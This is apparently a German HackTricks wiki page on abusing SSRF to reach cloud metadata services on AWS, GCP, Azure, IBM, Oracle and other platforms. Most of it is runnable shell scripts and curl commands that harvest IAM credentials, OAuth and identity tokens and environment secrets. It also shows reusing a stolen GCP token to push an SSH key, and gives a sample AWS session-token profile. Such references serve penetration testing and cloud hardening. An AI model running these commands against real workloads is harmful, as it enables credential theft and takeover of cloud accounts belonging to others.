Cloud SSRF
Tip
Lerne & übe AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Durchsuche den vollständigen HackTricks Training-Katalog nach den Assessment-Tracks (ARTA/GRTA/AzRTA) und Linux Hacking Expert (LHE).
Support HackTricks
- Sieh dir die subscription plans an!
- Tritt der 💬 Discord group, der telegram group bei, folge @hacktricks_live auf X/Twitter, oder schau dir die LinkedIn page und den YouTube channel an.
- Teile hacking tricks, indem du PRs in die HackTricks und HackTricks Cloud github repos einreichst.
AWS
Missbrauch von SSRF in der AWS EC2-Umgebung
Der metadata-Endpunkt kann von innerhalb jeder EC2-Maschine aus erreicht werden und bietet interessante Informationen darüber. Er ist erreichbar unter der url: http://169.254.169.254 (Informationen über die metadata hier).
Es gibt 2 Versionen des metadata-endpoints. Die erste erlaubt den Zugriff auf den Endpunkt über GET-Anfragen (also kann jede SSRF ihn ausnutzen). Für version 2, IMDSv2, musst du nach einem token fragen, indem du eine PUT-Anfrage mit einem HTTP header sendest, und dann dieses token verwenden, um mit einem weiteren HTTP header auf die metadata zuzugreifen (also ist es komplizierter, das mit einer SSRF zu missbrauchen).
Caution
Beachte, dass wenn die EC2-Instanz IMDSv2 erzwingt, laut den docs, die response der PUT-Anfrage eine hop limit von 1 haben wird, wodurch es unmöglich ist, von einem Container innerhalb der EC2-Instanz auf die EC2 metadata zuzugreifen.
Außerdem wird IMDSv2 auch Anfragen zum Abrufen eines tokens blockieren, die den
X-Forwarded-Forheader enthalten. Das dient dazu, fehlkonfigurierte reverse proxies daran zu hindern, darauf zugreifen zu können.
Du kannst Informationen über die metadata endpoints in den docs finden. Im folgenden Skript werden daraus einige interessante Informationen gewonnen:
EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
URL="http://169.254.169.254/latest/meta-data"
aws_req=""
if [ "$(command -v curl)" ]; then
aws_req="curl -s -f -H '$HEADER'"
elif [ "$(command -v wget)" ]; then
aws_req="wget -q -O - -H '$HEADER'"
else
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
fi
printf "ami-id: "; eval $aws_req "$URL/ami-id"; echo ""
printf "instance-action: "; eval $aws_req "$URL/instance-action"; echo ""
printf "instance-id: "; eval $aws_req "$URL/instance-id"; echo ""
printf "instance-life-cycle: "; eval $aws_req "$URL/instance-life-cycle"; echo ""
printf "instance-type: "; eval $aws_req "$URL/instance-type"; echo ""
printf "region: "; eval $aws_req "$URL/placement/region"; echo ""
echo ""
echo "Account Info"
eval $aws_req "$URL/identity-credentials/ec2/info"; echo ""
eval $aws_req "http://169.254.169.254/latest/dynamic/instance-identity/document"; echo ""
echo ""
echo "Network Info"
for mac in $(eval $aws_req "$URL/network/interfaces/macs/" 2>/dev/null); do
echo "Mac: $mac"
printf "Owner ID: "; eval $aws_req "$URL/network/interfaces/macs/$mac/owner-id"; echo ""
printf "Public Hostname: "; eval $aws_req "$URL/network/interfaces/macs/$mac/public-hostname"; echo ""
printf "Security Groups: "; eval $aws_req "$URL/network/interfaces/macs/$mac/security-groups"; echo ""
echo "Private IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv4-associations/"; echo ""
printf "Subnet IPv4: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv4-cidr-block"; echo ""
echo "PrivateIPv6s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv6s"; echo ""
printf "Subnet IPv6: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv6-cidr-blocks"; echo ""
echo "Public IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/public-ipv4s"; echo ""
echo ""
done
echo ""
echo "IAM Role"
eval $aws_req "$URL/iam/info"
for role in $(eval $aws_req "$URL/iam/security-credentials/" 2>/dev/null); do
echo "Role: $role"
eval $aws_req "$URL/iam/security-credentials/$role"; echo ""
echo ""
done
echo ""
echo "User Data"
# Search hardcoded credentials
eval $aws_req "http://169.254.169.254/latest/user-data"
echo ""
echo "EC2 Security Credentials"
eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""
Als Beispiel für öffentlich verfügbare IAM credentials kannst du hier besuchen: http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws
Du kannst auch öffentliche EC2 security credentials hier prüfen: http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance
Du kannst dann diese credentials nehmen und mit der AWS CLI verwenden. Das erlaubt dir, alles zu tun, wofür diese role permissions hat.
Um die neuen credentials zu nutzen, musst du ein neues AWS profile wie dieses erstellen:
[profilename]
aws_access_key_id = ASIA6GG71[...]
aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT[...]
aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw=
Beachte den aws_session_token, dieser ist unverzichtbar, damit das Profil funktioniert.
PACU kann mit den gefundenen credentials verwendet werden, um deine privileges herauszufinden und zu versuchen, privileges zu eskalieren
SSRF in AWS ECS (Container Service) credentials
ECS ist eine logische Gruppe von EC2-Instances, auf denen du eine Anwendung ausführen kannst, ohne deine eigene Cluster-Management-Infrastruktur skalieren zu müssen, weil ECS das für dich übernimmt. Wenn es dir gelingt, einen in ECS laufenden Service zu kompromittieren, ändern sich die metadata endpoints.
Wenn du http://169.254.170.2/v2/credentials/<GUID> aufrufst, findest du die credentials der ECS-Maschine. Aber zuerst musst du den <GUID> finden. Um den <GUID> zu finden, musst du die environ-Variable AWS_CONTAINER_CREDENTIALS_RELATIVE_URI innerhalb der Maschine auslesen.
Du könntest sie durch Ausnutzen eines Path Traversal zu file:///proc/self/environ lesen
Die genannte http-Adresse sollte dir den AccessKey, SecretKey und token liefern.
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
Tip
Beachte, dass du in einigen Fällen vom Container aus auf die EC2 metadata instance zugreifen kannst (prüfe die zuvor erwähnten IMDSv2 TTL-Einschränkungen). In diesen Szenarien könntest du vom Container aus sowohl auf die Container-IAM-Role als auch auf die EC2-IAM-Role zugreifen.
SSRF in AWS EKS Pod Identity credentials
Neuere EKS-Cluster können Pod Identity statt des älteren ECS-ähnlichen relative URI flows verwenden. In diesen Pods injiziert EKS:
AWS_CONTAINER_CREDENTIALS_FULL_URI=http://169.254.170.23/v1/credentialsAWS_CONTAINER_AUTHORIZATION_TOKEN_FILE=/var/run/secrets/pods.eks.amazonaws.com/serviceaccount/eks-pod-identity-token
Daher kann eine SSRF/LFI, die env vars oder die projizierte service account token file lesen kann, oft die Pod-IAM-Credentials wiederherstellen, indem sie den lokalen Credential-Endpoint mit dem authorization token aus dieser Datei abfragt:
# Common discovery primitives
cat /proc/self/environ | tr '\\0' '\\n' | grep '^AWS_CONTAINER_'
ls -l /var/run/secrets/pods.eks.amazonaws.com/serviceaccount/
# Use the projected token to query the local Pod Identity credential endpoint
AUTH_HEADER=$(cat "$AWS_CONTAINER_AUTHORIZATION_TOKEN_FILE")
curl -s -H "Authorization: $AUTH_HEADER" "$AWS_CONTAINER_CREDENTIALS_FULL_URI"
Dies ist besonders nützlich in EKS webhooks, templating services oder URL fetchers, die innerhalb von pods laufen und eine SSRF plus eine lokale file read Primitive bereitstellen. Die Antwort enthält temporäre AWS credentials, die über die AWS CLI oder Tools wie Pacu wiederverwendet werden können.
SSRF für AWS Lambda
In diesem Fall sind die credentials in env variables gespeichert. Um auf sie zuzugreifen, musst du also auf etwas wie file:///proc/self/environ zugreifen.
Die Namen der interessanten env variables sind:
AWS_SESSION_TOKENAWS_SECRET_ACCESS_KEYAWS_ACCESS_KEY_ID
Außerdem haben Lambda functions zusätzlich zu IAM credentials auch event data, die an die function übergeben wird, wenn sie gestartet wird. Diese Daten werden der function über die runtime interface zur Verfügung gestellt und könnten sensitive information enthalten (wie innerhalb der stageVariables). Anders als IAM credentials sind diese Daten über standard SSRF unter http://localhost:9001/2018-06-01/runtime/invocation/next zugänglich.
Warning
Beachte, dass lambda credentials in den env variables liegen. Wenn also der stack trace des lambda codes env vars ausgibt, ist es möglich, sie durch das Auslösen eines Fehlers in der App zu exfiltrate.
SSRF URL für AWS Elastic Beanstalk
Wir holen die accountId und region aus der API.
http://169.254.169.254/latest/dynamic/instance-identity/document
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
Wir rufen dann AccessKeyId, SecretAccessKey und Token von der API ab.
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
Dann verwenden wir die credentials mit aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/.
GCP
Du kannst hier die docs über metadata endpoints finden.
SSRF URL für Google Cloud
Erfordert den HTTP-Header Metadata-Flavor: Google und du kannst auf den metadata endpoint mit den folgenden URLs zugreifen:
Interessante endpoints, um Informationen zu extrahieren:
# /project
# Project name and number
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id
# Project attributes
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/attributes/?recursive=true
# /oslogin
# users
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/users
# groups
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/groups
# security-keys
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/security-keys
# authorize
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/authorize
# /instance
# Description
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/description
# Hostname
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/hostname
# ID
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
# Image
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/image
# Machine Type
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/machine-type
# Name
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/name
# Tags
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/scheduling/tags
# Zone
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
# User data
curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/attributes/startup-script"
# Network Interfaces
for iface in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/"); do
echo " IP: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/ip")
echo " Subnetmask: "$(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/subnetmask")
echo " Gateway: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/gateway")
echo " DNS: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/dns-servers")
echo " Network: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/network")
echo " ============== "
done
# Service Accounts
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
echo " Name: $sa"
echo " Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
echo " Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
echo " Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
echo " Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
echo " Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
echo " ============== "
done
# K8s Attributtes
## Cluster location
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-location
## Cluster name
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-name
## Os-login enabled
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/enable-oslogin
## Kube-env
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-env
## Kube-labels
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-labels
## Kubeconfig
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kubeconfig
# All custom project attributes
curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"
# All custom project attributes instance attributes
curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"
Beta benötigt derzeit KEIN Header (danke Mathias Karlsson @avlidienbrunn)
http://metadata.google.internal/computeMetadata/v1beta1/
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
Caution
Um das exfiltrierte Service-Account-Token zu verwenden, kannst du einfach Folgendes tun:
# Via env vars export CLOUDSDK_AUTH_ACCESS_TOKEN=<token> gcloud projects list # Via setup echo "<token>" > /some/path/to/token gcloud config set auth/access_token_file /some/path/to/token gcloud projects list gcloud config unset auth/access_token_file
Füge einen SSH-Schlüssel hinzu
Extrahiere das Token
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json
Prüfe den Scope des Tokens (mit der vorherigen Ausgabe oder indem du Folgendes ausführst)
curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA {
"issued_to": "101302079XXXXX",
"audience": "10130207XXXXX",
"scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring",
"expires_in": 2443,
"access_type": "offline"
}
Jetzt den SSH-Key pushen.
curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata"
-H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA"
-H "Content-Type: application/json"
--data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}'
Cloud Functions
Der Metadata-Endpoint funktioniert genauso wie in VMs, aber ohne einige Endpoints:
# /project
# Project name and number
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id
# /instance
# ID
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
# Zone
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
# Auto MTLS config
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/platform-security/auto-mtls-configuration
# Service Accounts
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
echo " Name: $sa"
echo " Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
echo " Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
echo " Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
echo " Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
echo " Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
echo " ============== "
done
Cloud Run / Cloud Functions 2nd gen
Für Cloud Run und 2nd generation Cloud Functions ist es normalerweise interessanter, nicht nur das OAuth access token zu stehlen, sondern auch ein audience-bound identity token vom metadata server. Das ist nützlich, wenn der kompromittierte workload private Cloud Run services, IAP-protected backends oder jeden Service erreichen kann, der von Google ausgestellte ID tokens validiert.
# OAuth access token for the attached service account
curl -s -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"
# Audience-bound identity token
curl -s -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/identity?audience=https://TARGET-REGION-PROJECT.run.app"
Tip
Der
identity-Endpoint benötigt einenaudience-Parameter. In realen Engagements bedeutet das normalerweise, dass du nach dem Nachweis von SSRF gegentokeninterne service URLs enumerieren und dann ein zweites token mit der exakten audience anfordern solltest, die der Zielservice erwartet.
Digital Ocean
Warning
Es gibt nichts wie AWS Roles oder GCP service account, also erwarte nicht, metadata bot credentials zu finden
Dokumentation verfügbar unter https://developers.digitalocean.com/documentation/metadata/
curl http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1.json
http://169.254.169.254/metadata/v1/
http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1/user-data
http://169.254.169.254/metadata/v1/hostname
http://169.254.169.254/metadata/v1/region
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/addressAll in one request:
curl http://169.254.169.254/metadata/v1.json | jq
Azure
Azure VM
- Muss den Header
Metadata: trueenthalten - Darf nicht einen
X-Forwarded-ForHeader enthalten
Tip
Eine Azure VM kann 1 system managed identity und mehrere user managed identities angehängt haben. Das bedeutet im Grunde, dass du alle an eine VM angehängten managed identities impersonate kannst.
Wenn ein access token am metadata endpoint angefordert wird, verwendet der metadata service standardmäßig die system assigned managed identity, um das token zu erzeugen, falls eine system assigned managed identity vorhanden ist. Falls es nur EINE user assigned managed identity gibt, wird diese standardmäßig verwendet. Wenn jedoch keine system assigned managed identity vorhanden ist und es mehrere user assigned managed identities gibt, gibt der metadata service einen Fehler zurück, der darauf hinweist, dass es mehrere managed identities gibt und es notwendig ist, anzugeben, welche verwendet werden soll.
Leider konnte ich keinen metadata endpoint finden, der alle MIs angibt, die an eine VM angehängt sind, daher kann das Herausfinden aller zugewiesenen managed identities einer VM aus Red Team Perspektive eine schwierige Aufgabe sein.
Daher kannst du, um alle angehängten MIs zu finden, Folgendes tun:
- Angehängte identities mit az cli abrufen (wenn du bereits einen principal im Azure tenant mit der Berechtigung
Microsoft.Compute/virtualMachines/readkompromittiert hast)az vm identity show \ --resource-group <rsc-group> \ --name <vm-name>
- Angehängte identities abrufen mit der standardmäßig angehängten MI in den metadata:
export API_VERSION="2021-12-13" # Get token from default MI export TOKEN=$(curl -s -H "Metadata:true" \ "http://169.254.169.254/metadata/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/" \ | jq -r '.access_token') # Get needed details export SUBSCRIPTION_ID=$(curl -s -H "Metadata:true" \ "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.subscriptionId') export RESOURCE_GROUP=$(curl -s -H "Metadata:true" \ "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.resourceGroupName') export VM_NAME=$(curl -s -H "Metadata:true" \ "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.name') # Try to get attached MIs curl -s -H "Authorization: Bearer $TOKEN" \ "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Compute/virtualMachines/$VM_NAME?api-version=$API_VERSION" | jq
- Alle definierten managed identities im tenant abrufen und brute force, um zu sehen, ob eine davon an die VM angehängt ist (die Berechtigung
Microsoft.ManagedIdentity/userAssignedIdentities/readwird benötigt):az identity list
Caution
Bei den token requests verwende einen der Parameter
object_id,client_idodermsi_res_id, um die managed identity anzugeben, die du verwenden möchtest (docs). Wenn keiner angegeben wird, wird die default MI verwendet.
HEADER="Metadata:true"
URL="http://169.254.169.254/metadata"
API_VERSION="2021-12-13" #https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service?tabs=linux#supported-api-versions
echo "Instance details"
curl -s -f -H "$HEADER" "$URL/instance?api-version=$API_VERSION"
echo "Load Balancer details"
curl -s -f -H "$HEADER" "$URL/loadbalancer?api-version=$API_VERSION"
echo "Management Token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/"
echo "Graph token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://graph.microsoft.com/"
echo "Vault token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://vault.azure.net/"
echo "Storage token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://storage.azure.com/"
Warning
Beachte, dass der Endpoint
http://169.254.169.254/metadata/v1/instanceinfokeinMetadata: TrueHeader benötigt. Das ist großartig, um den Impact von SSRF vulnerabilities in Azure zu zeigen, wenn du diesen Header nicht hinzufügen kannst.
Azure App & Functions Services & Automation Accounts
Aus der env kannst du die Werte von IDENTITY_HEADER und IDENTITY_ENDPOINT erhalten. Diese kannst du verwenden, um ein Token zu holen, um mit dem metadata server zu sprechen.
Meistens willst du ein Token für eine dieser Ressourcen:
- https://storage.azure.com
- https://vault.azure.net
- https://graph.microsoft.com
- https://management.azure.com/
Caution
Verwende in den token requests einen der Parameter
object_id,client_idodermsi_res_id, um die managed identity anzugeben, die du verwenden möchtest (docs). Wenn keiner angegeben wird, wird die default MI verwendet.
# Check for those env vars to know if you are in an Azure app
echo $IDENTITY_HEADER
echo $IDENTITY_ENDPOINT
# (Fingerprint) You should also be able to find the folder:
ls /opt/microsoft
# Get management token
curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
# Get graph token
curl "$IDENTITY_ENDPOINT?resource=https://graph.microsoft.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
# Get vault token
curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
# Get storage token
curl "$IDENTITY_ENDPOINT?resource=https://storage.azure.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
IBM Cloud
Warning
Beachte, dass in IBM standardmäßig metadata nicht aktiviert ist, daher ist es möglich, dass du nicht darauf zugreifen kannst, selbst wenn du dich innerhalb einer IBM cloud VM befindest
export instance_identity_token=`curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\
-H "Metadata-Flavor: ibm"\
-H "Accept: application/json"\
-d '{
"expires_in": 3600
}' | jq -r '(.access_token)'`
# Get instance details
curl -s -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" -X GET "http://169.254.169.254/metadata/v1/instance?version=2022-03-01" | jq
# Get SSH keys info
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/keys?version=2022-03-01" | jq
# Get SSH keys fingerprints & user data
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01" | jq
# Get placement groups
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01" | jq
# Get IAM credentials
curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq
Dokumentation für die Metadatenservices verschiedener Plattformen ist unten aufgeführt und hebt die Methoden hervor, über die auf Konfigurations- und Laufzeitinformationen für Instanzen zugegriffen werden kann. Jede Plattform bietet eigene Endpunkte für den Zugriff auf ihre Metadatenservices.
Packetcloud
Die Dokumentation für den Zugriff auf Packetcloud-Metadaten ist hier zu finden: https://metadata.packet.net/userdata
OpenStack/RackSpace
Die Notwendigkeit für einen Header wird hier nicht erwähnt. Auf Metadaten kann über Folgendes zugegriffen werden:
http://169.254.169.254/openstack
HP Helion
Die Notwendigkeit für einen Header wird hier ebenfalls nicht erwähnt. Metadaten sind unter folgender Adresse zugänglich:
http://169.254.169.254/2009-04-04/meta-data/
Oracle Cloud
Oracle Cloud Infrastructure hat einen IMDSv2-Modus, der heute weitaus relevanter ist als die alten /latest/-Beispiele. In IMDSv2:
- Requests gehen an
http://169.254.169.254/opc/v2/ - Requests müssen den Header
Authorization: Bearer Oracleenthalten - Requests mit
Forwarded,X-Forwarded-ForoderX-Forwarded-Hostwerden abgelehnt - Wenn die Instanz so konfiguriert ist, dass nur IMDSv2 erlaubt ist, geben die alten Pfade
/opc/v1und/openstack404zurück
Interessante Endpunkte:
curl -s -H "Authorization: Bearer Oracle" \
http://169.254.169.254/opc/v2/instance/
curl -s -H "Authorization: Bearer Oracle" \
http://169.254.169.254/opc/v2/vnics/
Aus SSRF-Perspektive verhält sich OCI jetzt deutlich näher an den gehärteten Cloud-Metadata-Services, die einen mandatory header verlangen und gängige forwarded-header proxy patterns ausdrücklich ablehnen.
Alibaba
Alibaba bietet Endpoints für den Zugriff auf metadata, einschließlich instance- und image-IDs:
http://100.100.100.200/latest/meta-data/http://100.100.100.200/latest/meta-data/instance-idhttp://100.100.100.200/latest/meta-data/image-id
Kubernetes ETCD
Kubernetes ETCD kann API keys, interne IP addresses und ports enthalten. Der Zugriff wird demonstriert über:
curl -L http://127.0.0.1:2379/versioncurl http://127.0.0.1:2379/v2/keys/?recursive=true
Docker
Auf Docker metadata kann lokal zugegriffen werden, mit Beispielen für das Abrufen von container- und image-Informationen:
- Einfaches Beispiel zum Zugriff auf container- und images-metadata über den Docker socket:
docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash- Im container
curlmit dem Docker socket verwenden: curl --unix-socket /var/run/docker.sock http://foo/containers/jsoncurl --unix-socket /var/run/docker.sock http://foo/images/json
Rancher
Auf Ranchers metadata kann mit folgendem zugegriffen werden:
curl http://rancher-metadata/<version>/<path>
References
- AWS SDKs and Tools Reference Guide - Container credential provider
- Oracle Cloud Infrastructure - Instance Metadata Service v2
Tip
Lerne & übe AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Durchsuche den vollständigen HackTricks Training-Katalog nach den Assessment-Tracks (ARTA/GRTA/AzRTA) und Linux Hacking Expert (LHE).
Support HackTricks
- Sieh dir die subscription plans an!
- Tritt der 💬 Discord group, der telegram group bei, folge @hacktricks_live auf X/Twitter, oder schau dir die LinkedIn page und den YouTube channel an.
- Teile hacking tricks, indem du PRs in die HackTricks und HackTricks Cloud github repos einreichst.


